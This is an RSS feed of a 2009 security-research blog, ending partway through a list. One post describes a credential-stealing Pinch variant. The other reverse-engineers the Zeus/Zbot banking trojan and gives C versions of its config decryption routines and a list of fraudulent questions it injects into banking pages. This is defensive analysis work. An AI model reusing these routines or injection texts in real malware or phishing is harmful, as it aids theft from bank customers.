<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' version='2.0'><channel><atom:id>tag:blogger.com,1999:blog-7283598531036801098</atom:id><lastBuildDate>Mon, 02 Nov 2009 04:20:31 +0000</lastBuildDate><title>ThreatExpert Blog</title><description>Research and discoveries from the experts at ThreatExpert</description><link>http://blog.threatexpert.com/</link><managingEditor>noreply@blogger.com (PC Tools)</managingEditor><generator>Blogger</generator><openSearch:totalResults>55</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-7283598531036801098.post-8879685012048959253</guid><pubDate>Mon, 02 Nov 2009 03:52:00 +0000</pubDate><atom:updated>2009-11-01T20:20:31.216-08:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>Werewolf NewMoon Trojan</category><title>The New Moon Trojan</title><description>While the sentence of the Pinch Trojan authors is about to &lt;a href="http://www.theregister.co.uk/2009/02/05/pinch_trojan_toolkit/" target="_blank"&gt;expire&lt;/a&gt; within the following few months, the code of their Trojan is still being morphed by others into other nasty forms.&lt;br /&gt;&lt;br /&gt;Apart from its known ability to gather system information and steal confidential information such as user names and passwords, the Pinch is now capable of delivering the stolen details to the remote website by utilizing a powerful news management &lt;a href="http://cutephp.com/" target="_blank"&gt;system&lt;/a&gt; called "Cute News".&lt;br /&gt;&lt;br /&gt;What's not cute in this case however is that the name of the website established by the remote attackers to collect stolen credentials is disguised under the name of the forecoming movie blockbuster &lt;a href="http://en.wikipedia.org/wiki/New_Moon_(2009_film)" target="_blank"&gt;&lt;em&gt;New Moon&lt;/em&gt;&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The infection starts from an image displayed with the purpose of distracting user attention while the Trojan gets activated. While the user stares at the picture, the Trojan starts harvesting user details, passwords, email addresses and other contents from the configuration files of the installed email clients Eudora, Thunderbird, Outlook, The Bat!, FTP clients FileZilla, WS_FTP, CuteFTP, and several other applications.&lt;br /&gt;&lt;br /&gt;The Trojan then collects system information that includes installed application names and their versions, serial numbers, user and computer names, the names of the running applications, user’s email account settings, and some other system details.&lt;br /&gt;&lt;br /&gt;The collected information is then encoded into Base64 format and posted into the remote Cute News service hosted by the attackers at &lt;em&gt;http://www.newmoon-movie.net&lt;/em&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_teq8tr511YQ/Su5bZ6uLl1I/AAAAAAAAA9o/CPp2YoSPVHo/s1600-h/nm3.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 290px; height: 320px;" src="http://3.bp.blogspot.com/_teq8tr511YQ/Su5bZ6uLl1I/AAAAAAAAA9o/CPp2YoSPVHo/s320/nm3.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5399353504081614674" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The post takes place via HTTP protocol allowing attackers to use the power of the Cute News system to accept, collect and use the stolen information without setting up any databases as all information is stored in flat files.&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_teq8tr511YQ/Su5aEVusVOI/AAAAAAAAA9g/fsBGVd_lwmo/s1600-h/nm1.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 98px;" src="http://2.bp.blogspot.com/_teq8tr511YQ/Su5aEVusVOI/AAAAAAAAA9g/fsBGVd_lwmo/s320/nm1.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5399352033862767842" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_teq8tr511YQ/Su5aBb2P_aI/AAAAAAAAA9Y/n4ELWzgEs60/s1600-h/nm2.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 154px;" src="http://1.bp.blogspot.com/_teq8tr511YQ/Su5aBb2P_aI/AAAAAAAAA9Y/n4ELWzgEs60/s320/nm2.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5399351983965470114" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Automated analysis is available &lt;a href="http://www.threatexpert.com/report.aspx?md5=a93a96103b0f20ceca34bacce954d12f" target="_blank"&gt;here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7283598531036801098-8879685012048959253?l=blog.threatexpert.com' alt='' /&gt;&lt;/div&gt;</description><link>http://blog.threatexpert.com/2009/11/new-moon-trojan.html</link><author>noreply@blogger.com (Sergei Shevchenko)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_teq8tr511YQ/Su5bZ6uLl1I/AAAAAAAAA9o/CPp2YoSPVHo/s72-c/nm3.gif' height='72' width='72'/></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-7283598531036801098.post-6031885140996671783</guid><pubDate>Thu, 17 Sep 2009 02:06:00 +0000</pubDate><atom:updated>2009-09-17T15:25:48.626-07:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>lowsec local.ds user.ds sdra64.exe zeus zbot decoder decryptor</category><title>Time to Revisit Zeus Almighty</title><description>Zeus/Zbot is an annoying threat. Its persistence is explained with a fact that it's generated by a large army of attackers who use Zeus builder.&lt;br /&gt;&lt;br /&gt;Those attackers who are high in the food chain pay thousands of dollars for the latest Zeus builder to make sure they distribute the most up-to-date undetectable bot builds. But many are still happy to use obsolete versions of the builder - these are available for free on various file sharing web sites.&lt;br /&gt;&lt;br /&gt;One way or another, the wave if new Zeus/Zbot samples being distributed every day is alarming. It's kind of an "attack of the clones" when multiple modifications of the bot are being produced in-the-wild, packed and encrypted on top with all sorts of packers, including modified, hacked, or private packer builds. Before being released, every newly generated and protected bot is uploaded into popular multi-AV scanner services to make sure it is not detected by any antivirus vendor. Hence, quite a bit of a problem in terms of its distribution scale.&lt;br /&gt;&lt;br /&gt;The nasty thing about Zeus/Zbot is that it evolves. The latest generation bot uses rootkit techniques to hide its presence on a customer machine. The bot uses covert methods of injecting additional fields into online Internet banking websites, asking users to answer questions that the authentic website would not ask. The collected details are then silently delivered to remote websites, and added into remote databases. The databases are then sold to other criminal elements down the chain who specialize in withdrawing the funds. The money laundering groups anonymously hire physical people to withdraw money from their personal accounts - in the criminal world these people are called "drops", and their accounts are called "drop accounts".&lt;br /&gt;&lt;br /&gt;Without going too much into detail about the whole economy that operates behind Zeus/Zbot, let's rather concentrate on some of its technical aspects.&lt;br /&gt;&lt;br /&gt;An important fact to mention is that the bot itself is like a framework with no "brains". It is merely a program that hooks itself into the system and hides there effectively. The logics that drives behaviour of the bot is contained in its configuration file.&lt;br /&gt;&lt;br /&gt;The configuration file of Zeus/Zbot is like a definitions database for an antivirus product. Without it, it's pretty much useless. The logics contained in the configuration contains the list of banking institutions that the bot targets, URLs of the additional components that the bots relies on to download commands and updates, the lists of questions and the list of the fields that the bot injects into Internet banking websites to steal personal details/credentials, etc.&lt;br /&gt;&lt;br /&gt;For instance, if the attacker only wanted to target local customers in Brazil, the bot's configuration file would enlist Brazilian banks and the list of questions/fields would be in Brazilian Portuguese language only. This way, the bot could transparently allow Internet banking transactions for non-Brazilian customers because the attacker would not be interested in those transactions, attacking domestic customers and their transactions only.&lt;br /&gt;&lt;br /&gt;The configuration of Zeus/Zbot is never stored in open text. It is encrypted. Previous generation of Zeus/Zbot used a hard-coded encryption mechanism for its configuration. It was possible to reverse engineer the encryption algorithm and build a decryptor for any configuration file that belonged to any bot of the same generation.&lt;br /&gt;&lt;br /&gt;The game has changed. The latest generation of Zeus/Zbot encrypts configuration file with a key that is unique for and is stored inside the bot executable for which this configuration file exists. This way, configuration file of one bot sample will not work for another bot sample, even if both samples are generated with the same builder. As the decryption key is stored inside the bot executable, the configuration cannot be decrypted without the executable. However, the executable that contains the key is also packed on top so that the key cannot easily be retrieved from it. Brute-forcing the key is not a viable option as the key is 256 bytes long.&lt;br /&gt;&lt;br /&gt;In other words, it's practically "a riddle wrapped in a mystery inside an enigma, but perhaps there is a key", as Winston Churchill once said about the homeland of Zeus author(s).&lt;br /&gt;&lt;br /&gt;In order to reveal the key for Zeus/Zbot configuration and study the decryption mechanism, a few things need to be done first.&lt;br /&gt;&lt;br /&gt;Firstly, Zeus/Zbot could be run on a virtual machine under OllyDbg debugger and dumped with the OllyDump plugin installed:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_teq8tr511YQ/SrGa6Mb4HeI/AAAAAAAAA3Q/3sDFXILm36M/s1600-h/olly.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_teq8tr511YQ/SrGa6Mb4HeI/AAAAAAAAA3Q/3sDFXILm36M/s320/olly.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5382253354245692898" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The created dump can be loaded into IDA disassembler - the variables that store dynamically retrieved addresses of APIs should be renamed into the API names to ease the code reading, as shown below:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_teq8tr511YQ/SrGbJkhwzLI/AAAAAAAAA3Y/aAK2e-1MT38/s1600-h/ida.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 244px;" src="http://2.bp.blogspot.com/_teq8tr511YQ/SrGbJkhwzLI/AAAAAAAAA3Y/aAK2e-1MT38/s320/ida.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5382253618410867890" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The analysed dump does not reveal the code that downloads and decrypts the configuration file. It is because the dump was created for the first stage of the execution workflow - when it drops other files, installs hooks and injects its own code into the system process services.exe.&lt;br /&gt;&lt;br /&gt;In spite of the decryption key being present in the dump (as it becomes known later), revealing it now along with the decryption mechanism by analysing the dump statically is not easy as the code did not branch that execution path yet.&lt;br /&gt;&lt;br /&gt;Ok, so what do we do now?&lt;br /&gt;&lt;br /&gt;Let's run RootkitUnhooker to check the system integrity. According to its hook revealer, two installed IAT hooks can be seen:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_teq8tr511YQ/SrGbS2hBLzI/AAAAAAAAA3g/0q9q0gpVLSQ/s1600-h/rku.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 126px;" src="http://4.bp.blogspot.com/_teq8tr511YQ/SrGbS2hBLzI/AAAAAAAAA3g/0q9q0gpVLSQ/s320/rku.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5382253777858408242" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;According to ThreatExpert &lt;a target="_blank" href="http://www.threatexpert.com/report.aspx?md5=D425C131B86818493FDF748755568A08"&gt;report&lt;/a&gt;, the bot creates the following files:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;%System%\lowsec\local.ds&lt;/li&gt;&lt;br /&gt;&lt;li&gt;%System%\lowsec\user.ds&lt;/li&gt;&lt;br /&gt;&lt;li&gt;%System%\sdra64.exe&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;Because of the hooks, these files are not visible in Explorer, but trying to create a directory %System%\lowsec invokes the following message box:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_teq8tr511YQ/SrGbvkQqJUI/AAAAAAAAA3o/0iw-jN5pt1I/s1600-h/lowsec.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 204px;" src="http://4.bp.blogspot.com/_teq8tr511YQ/SrGbvkQqJUI/AAAAAAAAA3o/0iw-jN5pt1I/s320/lowsec.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5382254271174157634" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The hook in the system process services.exe gives a good reason to dump it and analyse what's in its memory. Dumping main module is not enough as a typical injection mechanism allocates memory on the heap of the process and writes the code there. Thus, the process needs to be dumped entirely, all of its heap pages.&lt;br /&gt;&lt;br /&gt;From all the dumped pages of the system process services.exe, two allocations belong to the bot:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_teq8tr511YQ/SrGdBIB0d2I/AAAAAAAAA3w/yJ1zxOJe9Pc/s1600-h/pages.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 306px;" src="http://4.bp.blogspot.com/_teq8tr511YQ/SrGdBIB0d2I/AAAAAAAAA3w/yJ1zxOJe9Pc/s320/pages.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5382255672344999778" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;These two allocations may span over the address range &lt;font face="Courier New" size="2"&gt;0x00040000&lt;/font&gt; - &lt;font face="Courier New" size="2"&gt;0x00057000&lt;/font&gt; or &lt;font face="Courier New" size="2"&gt;0x00980000&lt;/font&gt; - &lt;font face="Courier New" size="2"&gt;0x00997000&lt;/font&gt; after reboot, and can be joined together to be loaded into the disassembler again.&lt;br /&gt;&lt;br /&gt;Once reloaded into disassembler, the variables that store dynamically retrieved addresses of APIs should be renamed again into the API names. As the names of the APIs are not visible in this dump anymore, the APIs can either be retrieved by looking up the virtual addresses contained in the function pointers, or by matching the disassembled code with the previously disassembled dump (obtained from OllyDbg/OllyDump) and assigning the same names as in the former dump to the same pointer variables, as shown in the screen grab below:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_teq8tr511YQ/SrGdI5ew4lI/AAAAAAAAA34/GlBQmT5xcNE/s1600-h/ida2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 208px;" src="http://3.bp.blogspot.com/_teq8tr511YQ/SrGdI5ew4lI/AAAAAAAAA34/GlBQmT5xcNE/s320/ida2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5382255805878821458" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;With the properly named API function pointers, it's much easier to read the code.&lt;br /&gt;&lt;br /&gt;The bot contains a special section in its code that contains several important fields:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_teq8tr511YQ/SrGdTFieR0I/AAAAAAAAA4A/P9EQhrcqS6M/s1600-h/enc_conf.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 230px;" src="http://2.bp.blogspot.com/_teq8tr511YQ/SrGdTFieR0I/AAAAAAAAA4A/P9EQhrcqS6M/s320/enc_conf.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5382255980914296642" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The URL fields in that section are encoded by using an &lt;a target="_blank" href="http://blog.threatexpert.com/2008/12/zeus-config-decryptor.html"&gt;older&lt;/a&gt; encryption mechanism that was used by older Zeus/Zbot generations. Here is a C equivalent of the decryptor - it's straightforward:&lt;br /&gt;&lt;p&gt;&lt;font face="Courier New" size="2"&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;BYTE&amp;#160;b;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;for&amp;#160;(int&amp;#160;i&amp;#160;=&amp;#160;0;&amp;#160;i&amp;#160;&lt;&amp;#160;iBufferSize;&amp;#160;i++)&amp;#160;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;{&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;b&amp;#160;=&amp;#160;lpSourceBuffer[i];&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;if&amp;#160;((i&amp;#160;%&amp;#160;2)&amp;#160;==&amp;#160;0)&amp;#160;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;{&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;b&amp;#160;+=&amp;#160;2&amp;#160;*&amp;#160;i&amp;#160;+&amp;#160;10;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;}&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;else&amp;#160;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;{&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;b&amp;#160;+=&amp;#160;0xF9&amp;#160;-&amp;#160;2&amp;#160;*&amp;#160;i;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;}&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;lpDestinationBuffer[i]&amp;#160;+=&amp;#160;b;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;}&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;One of the URLs points to an encrypted configuration file. The bot downloads that file and saves it into a hidden file %System%\lowsec\local.ds.&lt;br /&gt;&lt;br /&gt;Next, the bot reads the 256-byte long encryption key stored in its section and uses it to decrypt the downloaded configuration file:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_teq8tr511YQ/SrGddkGa4vI/AAAAAAAAA4I/22vGi4tcK5w/s1600-h/ida3.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 189px;" src="http://4.bp.blogspot.com/_teq8tr511YQ/SrGddkGa4vI/AAAAAAAAA4I/22vGi4tcK5w/s320/ida3.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5382256160916824818" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The decryption routine is not very easy to follow during static analysis. One way of building a configuration file decryptor is to blindly rip the assembler code out of the bot source, only taking care of interfacing it properly - that is passing it the same parameters. However, in order to understand the code and build its C equivalent, the code is better to be traced.&lt;br /&gt;&lt;br /&gt;But here comes the question - how to trace the code that is running inside the services.exe process?&lt;br /&gt;&lt;br /&gt;An easy way of doing that so it attach a debugger of your choice to the system process services.exe, break its execution, point EIP (the instruction pointer) into the first instruction of the decryption routine, patch memory contents to instruct the routine to unpack a file that is different from %System%\lowsec\local.ds (before you're doing that, make sure the configuration file is downloaded from the earlier discovered URL and is saved under a different filename), suspend all other threads of services.exe process, and debug step-by-step its decryption routine.&lt;br /&gt;&lt;br /&gt;The image below shows how the filename %System%\lowsec\local.ds is patched with c:\c&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_teq8tr511YQ/SrGdk5nOYlI/AAAAAAAAA4Q/2HsOrbqpzvI/s1600-h/vc.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 176px;" src="http://1.bp.blogspot.com/_teq8tr511YQ/SrGdk5nOYlI/AAAAAAAAA4Q/2HsOrbqpzvI/s320/vc.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5382256286950646354" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Stepping through the decryption routine reveals how the configuration file is fully decrypted:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_teq8tr511YQ/SrGdsBI-LPI/AAAAAAAAA4Y/IxM2H9u-25Q/s1600-h/vc2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_teq8tr511YQ/SrGdsBI-LPI/AAAAAAAAA4Y/IxM2H9u-25Q/s320/vc2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5382256409230322930" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Decryption routine itself is represented below:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_teq8tr511YQ/SrGdzRDGf2I/AAAAAAAAA4g/qnDlTnvprnU/s1600-h/decr.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 170px;" src="http://3.bp.blogspot.com/_teq8tr511YQ/SrGdzRDGf2I/AAAAAAAAA4g/qnDlTnvprnU/s320/decr.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5382256533759754082" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;During decryption, the values of its 256-byte key are constantly shuffled. The C equivalent of this routine is:&lt;br /&gt;&lt;p&gt;&lt;font face="Courier New" size="2"&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;byCounter&amp;#160;=&amp;#160;0;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;byMask&amp;#160;=&amp;#160;0;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;iSectionOffset&amp;#160;=&amp;#160;0x2a;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;for&amp;#160;(int&amp;#160;i&amp;#160;=&amp;#160;0;&amp;#160;i&amp;#160;&lt;&amp;#160;iConfigSize;&amp;#160;i++)&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;{&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;byCounter++;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;byMask&amp;#160;+=&amp;#160;byResource[iSectionStart&amp;#160;+&amp;#160;iSectionOffset&amp;#160;+&amp;#160;byCounter];&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;byTemp&amp;#160;=&amp;#160;byResource[iSectionStart&amp;#160;+&amp;#160;iSectionOffset&amp;#160;+&amp;#160;byMask];&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;byResource[iSectionStart&amp;#160;+&amp;#160;iSectionOffset&amp;#160;+&amp;#160;byMask]&amp;#160;=&amp;#160;byResource[iSectionStart&amp;#160;+&amp;#160;iSectionOffset&amp;#160;+&amp;#160;byCounter];&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;byResource[iSectionStart&amp;#160;+&amp;#160;iSectionOffset&amp;#160;+&amp;#160;byCounter]&amp;#160;=&amp;#160;byTemp;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;byTemp&amp;#160;+=&amp;#160;byResource[iSectionStart&amp;#160;+&amp;#160;iSectionOffset&amp;#160;+&amp;#160;byMask];&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;byConfig[i]&amp;#160;^=&amp;#160;byResource[iSectionStart&amp;#160;+&amp;#160;iSectionOffset&amp;#160;+&amp;#160;byTemp];&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;}&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;Once the configuration file is decrypted, its internal structure reveals that it consists of data blocks. Every data block has a header that describes the length of the block, its type, and whether it's compressed or not.&lt;br /&gt;&lt;br /&gt;As shown in the image below, some fields' meaning is not clear. But it seems that the 5th byte of the data block indicates if the data it contains is encrypted or not. Two DWORD values that follow are showing the size of compressed and uncompressed data. Next, the block contains the data itself.&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_teq8tr511YQ/SrGqZAmv6II/AAAAAAAAA4o/wzy5YZTnYwM/s1600-h/block.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 183px;" src="http://3.bp.blogspot.com/_teq8tr511YQ/SrGqZAmv6II/AAAAAAAAA4o/wzy5YZTnYwM/s320/block.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5382270376320428162" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;For example, the first block has the size values equal 4 bytes, and the data block itself is 0B 07 02 01. Next two blocks are not compressed - the data size for both blocks is 0x28 bytes. The last block contains a flag that shows it's compressed. The size of compressed data is 0x85 bytes; the size of uncompressed data is 0xA1 bytes, with the 0x85 bytes of data followed.&lt;br /&gt;&lt;br /&gt;Analysis of the decompression routine reveals that it's unrv2b algorithm. The decompression source code is available &lt;a target="_blank" href="http://qa.coreboot.org/docs/doxygen/src_2lib_2nrv2b_8c_source.html"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;By knowing the decryption/decompression mechanism and the data format, it is possible now to build a tool that will inspect full memory contents of the process services.exe, locate a page which contains Zeus/Zbot code in it, then locate a section in it with the 256-byte key, retrieve that key and use it to decrypt the provided configuration file. As the address of the section within the bot page is not known in advance, it can still easily be detected by probing the size of the structure, probing the bytes within the 256-byte encryption key, and trying to decode the URLs, knowing their length (from the structure) and the key-less encoding method (from the older Zeus generations).&lt;br /&gt;&lt;br /&gt;Unfortunately, such tool could only be able to decrypt configuration file on a machine infected with Zeus/Zbot. Thus, it must be run on the same virtual machine that is infected with the bot.&lt;br /&gt;&lt;br /&gt;The tool is available for download &lt;a target="_blank" href="http://www.threatexpert.com/blog/zbot/ZeusDecoder.zip"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;One positive side-effect of the tool is that even if the configuration file is not available, the tool will still reveal if the machine is infected with Zbot.&lt;br /&gt;&lt;br /&gt;The limitation of the tool is that it won't be able to decrypt a configuration file for one bot if the virtual machine is infected with another bot, even if both bots are produced with the same Zeus builder. It’s because every bot uses a unique encryption key that will only decrypt configuration file created for the very same bot.&lt;br /&gt;&lt;br /&gt;Running the Zeus configuration decryptor over several Zeus/Zbot samples submitted in the last few days reveals quite interesting characteristics. The full list of its capabilities is too big to be presented here, so only a few questions/additional fields that Zbot injects are highlighted below:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Due to security measures, please provide the answers to all the security questions listed below:&lt;/li&gt;&lt;br /&gt;&lt;li&gt;As an additional safeguard, we ask that you provide the last eight digits of your ATM or Check Card number&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Please enter your Credit Card Number linked to your account, security code (cvv) and expiration date&lt;/li&gt;&lt;br /&gt;&lt;li&gt;For your Identity verification and Fraud prevention please send us answers that you need to answer when you log in to your account&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Our behavioral monitoring software has detected a variation in your use pattern. For your protection, we ask that you verify your identity by answering your personal questions below.  Once verified, you will be directed to the page.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Authorization Required. In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online. Please enter the information below to Sign on:&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Please enter your Personal Access Code (PAC):&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Your first school&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Your mother's maiden name&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Your place of birth&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Please enter all digits of your PIN&lt;/li&gt;&lt;br /&gt;&lt;li&gt;What is your favourite meal or restaurant?&lt;/li&gt;&lt;br /&gt;&lt;li&gt;The name of a memorable place to you?&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Your favourite film of all time?&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Your favourite book of all time?&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Your favourite teacher or subject?&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Your favourite TV star or show?&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Please enter a valid Mother's Maiden Name&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Please enter a valid Driver's License Number&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Please enter a valid Date of Birth&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Please enter a valid Social Security Number&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Please enter a valid Home Telephone Number&lt;/li&gt;&lt;br 